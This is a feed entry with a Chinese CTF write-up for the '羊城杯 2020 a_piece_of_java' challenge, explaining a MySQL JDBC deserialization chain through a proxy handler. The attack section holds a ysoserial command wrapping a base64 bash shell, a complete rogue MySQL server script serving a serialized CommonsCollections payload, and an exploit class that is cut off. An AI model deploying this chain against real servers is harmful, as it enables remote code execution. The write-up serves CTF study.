    <summary type="html">&lt;h2 id=&quot;hznuctf-2023-finalezjava&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#hznuctf-2023-finalezjava&quot;&gt;#&lt;/a&gt; [HZNUCTF 2023 final]ezjava&lt;/h2&gt;
&lt;p&gt;大体思</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>羊城杯 2020 | a_piece_of_java WP</title>
    <link href="http://example.com/2024/09/16/%E7%BE%8A%E5%9F%8E%E6%9D%AF-2020-a-piece-of-java-WP/"/>
    <id>http://example.com/2024/09/16/%E7%BE%8A%E5%9F%8E%E6%9D%AF-2020-a-piece-of-java-WP/</id>
    <published>2024-09-16T09:47:05.000Z</published>
    <updated>2024-09-16T16:21:33.936Z</updated>
    
    <content type="html"><![CDATA[<h2 id="a_piece_of_java"><a class="markdownIt-Anchor" href="#a_piece_of_java">#</a> a_piece_of_java</h2><p>只是想复现一下理一下 jdbc 反序列化漏洞的思路和做题流程</p><h3 id="调用链分析"><a class="markdownIt-Anchor" href="#调用链分析">#</a> 调用链分析</h3><p><strong>审一下源码：</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409161750718.png" alt="image-20240916175015613"></p><p>通过路由控制访问</p><p><strong>serialkiller.conf:</strong></p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- serialkiller.conf --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">config</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">blacklist</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;/<span class="name">blacklist</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">whitelist</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">regexp</span>&gt;</span>gdufs\..*<span class="tag">&lt;/<span class="name">regexp</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">regexp</span>&gt;</span>java\.lang\..*<span class="tag">&lt;/<span class="name">regexp</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">whitelist</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">config</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>有白名单，只允许 gdufs 包或者 java.lang 包中的类反序列化</p><p><strong>InfoInvocationHandler</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> gdufs.challenge.web.invocation;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> gdufs.challenge.web.model.Info;</span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/invocation/InfoInvocationHandler.class */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InfoInvocationHandler</span> <span class="keyword">implements</span> <span class="title class_">InvocationHandler</span>, Serializable &#123;</span><br><span class="line">    <span class="keyword">private</span> Info info;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">InfoInvocationHandler</span><span class="params">(Info info)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.info = info;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span> <span class="comment">// java.lang.reflect.InvocationHandler</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object proxy, Method method, Object[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (method.getName().equals(<span class="string">&quot;getAllInfo&quot;</span>) &amp;&amp; !<span class="built_in">this</span>.info.checkAllInfo().booleanValue()) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> method.invoke(<span class="built_in">this</span>.info, args);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>DatabaseInfo</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> gdufs.challenge.web.model;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.sql.DriverManager;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/model/DatabaseInfo.class */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DatabaseInfo</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span>, Info &#123;</span><br><span class="line">    <span class="keyword">private</span> String host;</span><br><span class="line">    <span class="keyword">private</span> String port;</span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line">    <span class="keyword">private</span> Connection connection;</span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line">    <span class="keyword">public</span> Connection <span class="title function_">getConnection</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.connection == <span class="literal">null</span>) &#123;</span><br><span class="line">            connect();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.connection;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">connect</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;jdbc:mysql://&quot;</span> + <span class="built_in">this</span>.host + <span class="string">&quot;:&quot;</span> + <span class="built_in">this</span>.port + <span class="string">&quot;/jdbc?user=&quot;</span> + <span class="built_in">this</span>.username + <span class="string">&quot;&amp;password=&quot;</span> + <span class="built_in">this</span>.password + <span class="string">&quot;&amp;connectTimeout=3000&amp;socketTimeout=6000&quot;</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.connection = DriverManager.getConnection(url);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span> <span class="comment">// gdufs.challenge.web.model.Info</span></span><br><span class="line">    <span class="keyword">public</span> Boolean <span class="title function_">checkAllInfo</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.host == <span class="literal">null</span> || <span class="built_in">this</span>.port == <span class="literal">null</span> || <span class="built_in">this</span>.username == <span class="literal">null</span> || <span class="built_in">this</span>.password == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.connection == <span class="literal">null</span>) &#123;</span><br><span class="line">            connect();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span> <span class="comment">// gdufs.challenge.web.model.Info</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getAllInfo</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Here is the configuration of database, host is &quot;</span> + <span class="built_in">this</span>.host + <span class="string">&quot;, port is &quot;</span> + <span class="built_in">this</span>.port + <span class="string">&quot;, username is &quot;</span> + <span class="built_in">this</span>.username + <span class="string">&quot;, password is &quot;</span> + <span class="built_in">this</span>.password + <span class="string">&quot;.&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>connect 方法存在有 MySQL JDBC 反序列化漏洞 并且直接拼接可控 username 和 password</p><p>里面的 <code>getConnection()</code>  和 <code>checkAllInfo()</code>  会触发 <code>DriverManager.getConnection()</code> ，从而触发 <code>jdbc</code>  的反序列化</p><p>用 <code>InfoInvocationHandler</code>  来代理 <code>DatabaseInfo</code> ，然后在 hello 路由触发 <code>getAllInfo</code>  的时候触发代理的 <code>invoke</code> ，转而触发 <code>DatabaseInfo.checkAllConnection</code>  造成 jdbc 反序列化</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409161803251.png" alt="image-20240916180330215"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409161804681.png" alt="image-20240916180407649"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409162256921.png" alt="image-20240916225652870"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409162257634.png" alt="image-20240916225723592"></p><p>调用链：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">DatabaseInfo.connect()</span><br><span class="line">DatabaseInfo.checkAllInfo()</span><br><span class="line">InfoInvocationHandler.invoke()</span><br><span class="line">info.getAllInfo()</span><br><span class="line">MainController.hello()</span><br></pre></td></tr></table></figure></div><h3 id="rce攻击"><a class="markdownIt-Anchor" href="#rce攻击">#</a> RCE 攻击</h3><p>攻击思路：vps 上启动恶意 mysql server —&gt; 构造序列化 base64 串并通过 cookie 传递 —&gt; 反序列化后发起请求 —&gt; vps 回弹恶意包 —&gt; 执行命令</p><p><strong>首先用 ysoserial 生成 payload</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-all.jar CommonsCollections6 &#x27;bash -c &#123;echo,base64here&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;&#x27; &gt; payload</span><br></pre></td></tr></table></figure></div><p><strong><a class="link" href="http://server.py">server.py <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"># coding=utf-<span class="number">8</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">greeting_data=<span class="string">&quot;4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400&quot;</span></span><br><span class="line">response_ok_data=<span class="string">&quot;0700000200000002000000&quot;</span></span><br><span class="line"></span><br><span class="line">def <span class="title function_">receive_data</span><span class="params">(conn)</span>:</span><br><span class="line">    data = conn.recv(<span class="number">1024</span>)</span><br><span class="line">    print(<span class="string">&quot;[*] Receiveing the package : &#123;&#125;&quot;</span>.format(data))</span><br><span class="line">    <span class="keyword">return</span> str(data).lower()</span><br><span class="line"></span><br><span class="line">def <span class="title function_">send_data</span><span class="params">(conn,data)</span>:</span><br><span class="line">    print(<span class="string">&quot;[*] Sending the package : &#123;&#125;&quot;</span>.format(data))</span><br><span class="line">    conn.send(binascii.a2b_hex(data))</span><br><span class="line"></span><br><span class="line">def <span class="title function_">get_payload_content</span><span class="params">()</span>:</span><br><span class="line">    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] &gt; payload</span><br><span class="line">    file= r<span class="string">&#x27;payload&#x27;</span></span><br><span class="line">    <span class="keyword">if</span> os.path.isfile(file):</span><br><span class="line">        with <span class="title function_">open</span><span class="params">(file, <span class="string">&#x27;rb&#x27;</span>)</span> as f:</span><br><span class="line">            payload_content = str(binascii.b2a_hex(f.read()),encoding=<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">        print(<span class="string">&quot;open successs&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&quot;open false&quot;</span>)</span><br><span class="line">        #calc</span><br><span class="line">        payload_content=<span class="string">&#x27;aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> payload_content</span><br><span class="line"></span><br><span class="line"># 主要逻辑</span><br><span class="line">def <span class="title function_">run</span><span class="params">()</span>:</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        conn, addr = sk.accept()</span><br><span class="line">        print(<span class="string">&quot;Connection come from &#123;&#125;:&#123;&#125;&quot;</span>.format(addr[<span class="number">0</span>],addr[<span class="number">1</span>]))</span><br><span class="line"></span><br><span class="line">        # <span class="number">1.</span>先发送第一个 问候报文</span><br><span class="line">        send_data(conn,greeting_data)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> True:</span><br><span class="line">            # 登录认证过程模拟  <span class="number">1.</span>客户端发送request login报文 <span class="number">2.</span>服务端响应response_ok</span><br><span class="line">            <span class="title function_">receive_data</span><span class="params">(conn)</span></span><br><span class="line">            send_data(conn,response_ok_data)</span><br><span class="line"></span><br><span class="line">            #其他过程</span><br><span class="line">            data=receive_data(conn)</span><br><span class="line">            #查询一些配置信息,其中会发送自己的 版本号</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;session.auto_increment_increment&quot;</span> in data:</span><br><span class="line">                _payload=<span class="string">&#x27;01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000&#x27;</span></span><br><span class="line">                send_data(conn,_payload)</span><br><span class="line">                data=receive_data(conn)</span><br><span class="line">            elif <span class="string">&quot;show warnings&quot;</span> in data:</span><br><span class="line">                _payload = <span class="string">&#x27;01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000&#x27;</span></span><br><span class="line">                send_data(conn, _payload)</span><br><span class="line">                data = receive_data(conn)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;set names&quot;</span> in data:</span><br><span class="line">                send_data(conn, response_ok_data)</span><br><span class="line">                data = receive_data(conn)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;set character_set_results&quot;</span> in data:</span><br><span class="line">                send_data(conn, response_ok_data)</span><br><span class="line">                data = receive_data(conn)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;show session status&quot;</span> in data:</span><br><span class="line">                mysql_data = <span class="string">&#x27;0100000102&#x27;</span></span><br><span class="line">                mysql_data += <span class="string">&#x27;1a000002036465660001630163016301630c3f00ffff0000fc9000000000&#x27;</span></span><br><span class="line">                mysql_data += <span class="string">&#x27;1a000003036465660001630163016301630c3f00ffff0000fc9000000000&#x27;</span></span><br><span class="line">                # 为什么我加了EOF Packet 就无法正常运行呢？？</span><br><span class="line">                # 获取payload</span><br><span class="line">                payload_content=get_payload_content()</span><br><span class="line">                # 计算payload长度</span><br><span class="line">                payload_length = str(hex(len(payload_content)<span class="comment">//2)).replace(&#x27;0x&#x27;, &#x27;&#x27;).zfill(4)</span></span><br><span class="line">                payload_length_hex = payload_length[<span class="number">2</span>:<span class="number">4</span>] + payload_length[<span class="number">0</span>:<span class="number">2</span>]</span><br><span class="line">                # 计算数据包长度</span><br><span class="line">                data_len = str(hex(len(payload_content)<span class="comment">//2 + 4)).replace(&#x27;0x&#x27;, &#x27;&#x27;).zfill(6)</span></span><br><span class="line">                data_len_hex = data_len[<span class="number">4</span>:<span class="number">6</span>] + data_len[<span class="number">2</span>:<span class="number">4</span>] + data_len[<span class="number">0</span>:<span class="number">2</span>]</span><br><span class="line">                mysql_data += data_len_hex + <span class="string">&#x27;04&#x27;</span> + <span class="string">&#x27;fbfc&#x27;</span>+ payload_length_hex</span><br><span class="line">                mysql_data += str(payload_content)</span><br><span class="line">                mysql_data += <span class="string">&#x27;07000005fe000022000100&#x27;</span></span><br><span class="line">                send_data(conn, mysql_data)</span><br><span class="line">                data = receive_data(conn)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;show warnings&quot;</span> in data:</span><br><span class="line">                payload = <span class="string">&#x27;01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000&#x27;</span></span><br><span class="line">                send_data(conn, payload)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    HOST =<span class="string">&#x27;0.0.0.0&#x27;</span></span><br><span class="line">    PORT = <span class="number">3307</span></span><br><span class="line"></span><br><span class="line">    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间</span><br><span class="line">    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <span class="number">1</span>)</span><br><span class="line">    sk.bind((HOST, PORT))</span><br><span class="line">    sk.listen(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    print(<span class="string">&quot;start fake mysql server listening on &#123;&#125;:&#123;&#125;&quot;</span>.format(HOST,PORT))</span><br><span class="line"></span><br><span class="line">    run()</span><br></pre></td></tr></table></figure></div><p><strong><a class="link" href="http://exp.py">exp.py <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>:</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> gdufs.challenge.web;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> gdufs.challenge.web.invocation.InfoInvocationHandler;</span><br><span class="line"><span class="keyword">import</span> gdufs.challenge.web.model.DatabaseInfo;</span><br><span class="line"><span class="keyword">import</span> gdufs.challenge.web.model.Info;</span><br><span class="line"><span class="keyword">import</span> org.nibblesec.tools.SerialKiller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title 